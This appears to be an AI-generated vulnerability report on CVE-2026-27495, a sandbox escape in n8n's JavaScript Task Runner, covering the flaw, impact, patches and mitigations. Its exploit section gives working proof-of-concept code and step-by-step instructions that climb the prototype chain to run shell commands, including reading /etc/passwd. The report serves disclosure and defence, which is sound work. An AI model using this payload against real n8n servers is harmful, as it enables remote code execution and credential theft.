CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27495

Breaking Out of the Box: n8n JavaScript Sandbox Escape (CVE-2026-27495)

Alon Barad
Alon Barad
Software Engineer

Feb 26, 2026·7 min read·81 visits

Executive Summary (TL;DR)

n8n's JavaScript Task Runner failed to properly isolate user code, allowing a classic 'prototype climbing' attack. By accessing the `constructor` of the `this` context, attackers can reach the host's `Function` constructor, return the global `process` object, and execute system commands (RCE). Fixed in versions 1.123.22, 2.9.3, and 2.10.1.

A critical sandbox escape vulnerability in the n8n workflow automation platform allowing authenticated users to execute arbitrary code on the host server. The flaw resides in the JavaScript Task Runner, where insufficient isolation allows attackers to climb the prototype chain and access the host process context.

The Hook: When "Low Code" Meets High Stakes

n8n is the glue that holds a significant portion of the modern internet together. It's the "fair-code" workflow automation tool that lets developers and non-technical users alike chain together Webhooks, AWS Lambdas, and Slack notifications into complex Rube Goldberg machines of productivity. To make these workflows powerful, n8n includes a Code Node—a feature that allows users to write custom JavaScript to manipulate data between steps.

For performance and security, n8n introduced the JavaScript Task Runner in version 1.34. The goal was noble: isolate the execution of this untrusted user code so it doesn't block the main event loop or crash the server. They built a sandbox. The problem? Building a secure sandbox in JavaScript is like trying to build a submarine out of screen doors. If you miss a single gap, the water (or in this case, the child_process module) comes rushing in.

CVE-2026-27495 is the realization of that fear. It's a critical sandbox escape that turns a standard "Code" node into a full-blown remote shell on the host server. If you're running n8n in its default configuration, an authenticated user doesn't just have access to their workflow; they have access to your entire server.

The Flaw: Climbing the Prototype Ladder

To understand this vulnerability, you have to understand how JavaScript handles inheritance. In JS, almost everything is an object, and objects have prototypes. If you can access an object, you can usually access its constructor. If you can access its constructor, you can access that constructor's constructor.

The n8n Task Runner attempted to restrict access to global objects like process, require, and fs. However, it failed to sever the link between the sandboxed context and the host context via the this keyword.

Here is the logic flaw in a nutshell:

  1. The sandbox gives you access to a context object (accessible via this).
  2. this has a constructor (which is Object).
  3. Object has a constructor (which is Function).
  4. The Function constructor, when called, creates a new function in the scope where the constructor is defined.

Because the sandbox didn't properly freeze or nullify these prototypes, an attacker can simply walk up this ladder. It’s like locking the front door of a house but leaving a ladder leading to an unlocked second-story window. The moment you reach the Function constructor of the parent environment, the sandbox effectively vanishes.

The Code: Anatomy of an Escape

Let's look at the mechanics. In a secure sandbox (like Figma's Realm or a properly hardened vm2), the constructor property is usually proxied or set to null to prevent exactly this kind of traversal. In the vulnerable versions of n8n, this protection was missing or incomplete.

Below represents the conceptual difference between the vulnerable state and a hardened state:

The Vulnerable State

The environment allows traversal from the local context this back to the global constructors.

// Inside the "sandboxed" Code Node
const box = this; // We have the context
const boxMaker = box.constructor; // Object constructor
const godMode = boxMaker.constructor; // Function constructor (HOST context!)

The Attack Payload

Once we have godMode (the host's Function constructor), we can use it to create a function that returns the host's process object. This is the "Game Over" moment.

// The one-liner that kills the sandbox
const proc = this.constructor.constructor('return process')();
 
// Now we are just standard Node.js
const require = proc.mainModule.require;
const child_process = require('child_process');
child_process.execSync('cat /etc/passwd');

> [!ALERT] > This is not a complex buffer overflow or a heap grooming exercise. It is a logical flaw in how JavaScript scopes are nested. It requires zero binary exploitation knowledge, just a basic understanding of JS internals.

The Exploit: From Workflow to Shell

So, how does a researcher (or attacker) actually weaponize this? It's shockingly easy. You don't need a special hacking tool; you just need the n8n UI.

Step 1: Access. The attacker needs permission to create or edit a workflow. In many organizations, this is given to "citizen developers" or contractors.

Step 2: The Setup. Create a new workflow and drag in a "Code" node. Select "Run Once for All Items".

Step 3: The Payload. Paste the following JavaScript into the code editor. This payload detects the environment and attempts to exfiltrate the /etc/passwd file (or run any command) back to the workflow output for easy viewing.

try {
  // 1. Climb the ladder
  const UnsandboxedFunction = this.constructor.constructor;
  
  // 2. Get the process object
  const hostProcess = UnsandboxedFunction('return process')();
  
  // 3. Import child_process using the main module's require
  const cp = hostProcess.mainModule.require('child_process');
  
  // 4. Execute command
  const output = cp.execSync('whoami && id').toString();
  
  // 5. Return data to the UI
  return [{ json: { success: true, payload: output } }];
  
} catch (e) {
  return [{ json: { success: false, error: e.message } }];
}

Step 4: Execution. Click "Execute Node". If the instance is vulnerable (Internal Task Runner), the output pane will cheerfully display root (or typically the node user), confirming you have full control over the container or host.

The Impact: Why You Should Panic

The severity of this vulnerability depends heavily on your N8N_RUNNERS_MODE configuration, but in almost all cases, it's bad news.

Scenario A: Internal Task Runner (Default) This is the worst-case scenario. The code runs in a sub-process of the main n8n application. Escaping the sandbox means you are now the user running n8n. You can:

  • Read config files containing database credentials.
  • Access all API keys stored in n8n Credentials.
  • Modify other workflows to insert backdoors.
  • Pivot to the internal network if n8n is self-hosted.

Scenario B: External Task Runner Here, the code runs in a separate worker (often a container). The escape "only" compromises that worker. However, that worker still has access to the data being processed by other tasks assigned to it. It creates a lateral movement opportunity and data exfiltration point, even if the main n8n database is slightly harder to reach.

The Fix: Closing the Window

The n8n team responded quickly (kudos to them) by releasing versions 1.123.22, 2.9.3, and 2.10.1. The fix involves a more rigorous sanitization of the context object passed to the sandbox, specifically severing the prototype chain so constructor is no longer a gateway to the host.

Remediation Steps

  1. Patch Immediately: If you are running n8n, check your version in the bottom left corner. If it's < 1.123.22 or between 2.0.0 and 2.9.3, you are vulnerable.
  2. Configuration Mitigation: If you cannot patch right now (why?), you can mitigate the risk by forcing external runners or disabling them entirely:
    • N8N_RUNNERS_ENABLED=false (Safest, but might slow down heavy processing)
    • N8N_RUNNERS_MODE=external (Reduces blast radius)
  3. Monitor Logs: Check your n8n execution logs for keywords like child_process, execSync, or unusual calls to constructor in user code.

> [!TIP] > Security is a layer cake. Relying solely on a software sandbox for code execution is risky. Always run applications like n8n in a container with limited privileges, read-only root filesystems where possible, and restricted egress traffic.

Official Patches

n8nRelease notes for version 1.123.22

Technical Appendix

CVSS Score
9.4/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Affected Systems

n8n Workflow Automation Platform

Affected Versions Detail

Product
Affected Versions
Fixed Version
n8n
n8n
< 1.123.221.123.22
n8n
n8n
>= 2.0.0, < 2.9.32.9.3
n8n
n8n
2.10.02.10.1
AttributeDetail
CWE IDCWE-94 (Improper Control of Generation of Code)
Attack VectorNetwork (Authenticated)
CVSS9.4 (Critical)
ImpactRemote Code Execution (RCE)
Privileges RequiredLow (Workflow Editor)
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
T1068Exploitation for Privilege Escalation
Privilege Escalation
CWE-94
Improper Control of Generation of Code ('Code Injection')

Known Exploits & Detection

GitHub Security AdvisoryPrototype climbing technique using `this.constructor.constructor` to return `process`.

Vulnerability Timeline

Vulnerability Reported via GitHub Security Advisory
2026-02-25
Patched versions 1.123.22, 2.9.3, 2.10.1 released
2026-02-25
CVE-2026-27495 Assigned
2026-02-25

References & Sources

  • [1]n8n Security Advisory GHSA-jjpj-p2wh-qf23
  • [2]NVD Entry for CVE-2026-27495

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•22 minutes ago•GHSA-7CX2-G3H9-382P
8.1

GHSA-7CX2-G3H9-382P: Multiple Vulnerabilities in Crawl4AI Docker API (Arbitrary File Write, SSRF, CRLF Log Injection)

An in-depth technical analysis of multiple security vulnerabilities in the self-hosted Docker API server of Crawl4AI up to version 0.8.7. These flaws include a critical arbitrary file write via symlink traversal and TOCTOU weakness, CRLF log injection, webhook header injection, and SSRF filter gaps. These have been remediated in version 0.8.8.

Alon Barad
Alon Barad
0 views•6 min read
•about 1 hour ago•GHSA-F989-C77F-R2CQ
8.2

GHSA-f989-c77f-r2cq: LLM Credential Exfiltration and SSRF in Crawl4AI Docker Server

A technical evaluation of the Crawl4AI open-source web crawling and scraping library revealed a high-severity credential exfiltration vulnerability in its self-hosted Dockerized API server. The flaw arises from an unvalidated base_url parameter in request payloads and a dynamic prefix resolution mechanism that retrieves system environment variables. Unauthenticated remote attackers can leverage these features in tandem to extract host-level secrets or redirect configured LLM API keys to an external listener under their control.

Amit Schendel
Amit Schendel
1 views•6 min read
•about 1 hour ago•GHSA-365W-HQF6-VXFG
9.8

GHSA-365w-hqf6-vxfg: Multiple Critical Vulnerabilities in Crawl4AI Docker API Server

The Crawl4AI Docker API server, in versions 0.8.6 and prior, contains multiple critical vulnerabilities including improper path sanitization, missing authentication on administration routes, hardcoded JWT secrets, and SSRF. These vulnerabilities allow remote, unauthenticated attackers to write arbitrary files, execute arbitrary code, and pivot into private cloud environments.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 4 hours ago•GHSA-534H-C3CW-V3H9
5.5

GHSA-534h-c3cw-v3h9: Local Information Disclosure via Abstract-Namespace Socket in Nuxt Dev Server

A local security vulnerability in the Nuxt development server (nuxt dev) allows local unprivileged users to access sensitive configuration files and source code. On Linux environments running Node.js 20+, Nuxt bound its internal vite-node IPC server to an abstract-namespace Unix socket without any peer authentication, enabling co-resident local users to connect and request module code directly.

Amit Schendel
Amit Schendel
4 views•5 min read
•about 5 hours ago•GHSA-8RFP-98V4-MMR6
0.0

GHSA-8RFP-98V4-MMR6: Protocol-Filtering Bypass via Unicode Obfuscation in Mozilla Bleach

Mozilla Bleach is an open-source HTML sanitizing library for Python. Versions up to and including 6.3.0 contain an incomplete filtering implementation in the URI validation logic ('sanitize_uri_value'). This logic fails to detect disallowed protocols, such as 'javascript:', if they contain Unicode invisible characters, whitespace characters, or characters with a code point greater than U+00A0. While standard-compliant web browsers do not directly execute invalid URI schemes containing these non-standard characters, downstream systems that normalize Unicode text by stripping invisible or non-ASCII characters can unintentionally reactivate the 'javascript:' prefix, causing Cross-Site Scripting (XSS). Additionally, this behavior violates Bleach's core sanitization contract by outputting URIs that bypass protocol allowlists configured by the caller.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 5 hours ago•GHSA-G75F-G53V-794X
4.3

GHSA-G75F-G53V-794X: CPU Exhaustion via Unbounded Email Regular Expression Scanning in Bleach

An uncontrolled resource consumption vulnerability exists in the Python package Bleach when parsing text to linkify email addresses. When `parse_email=True` is enabled, the regular expression engine is forced into a quadratic-time complexity scan on specially crafted payloads lacking an '@' symbol. This causes immediate CPU exhaustion and blocks application server worker processes.

Amit Schendel
Amit Schendel
4 views•6 min read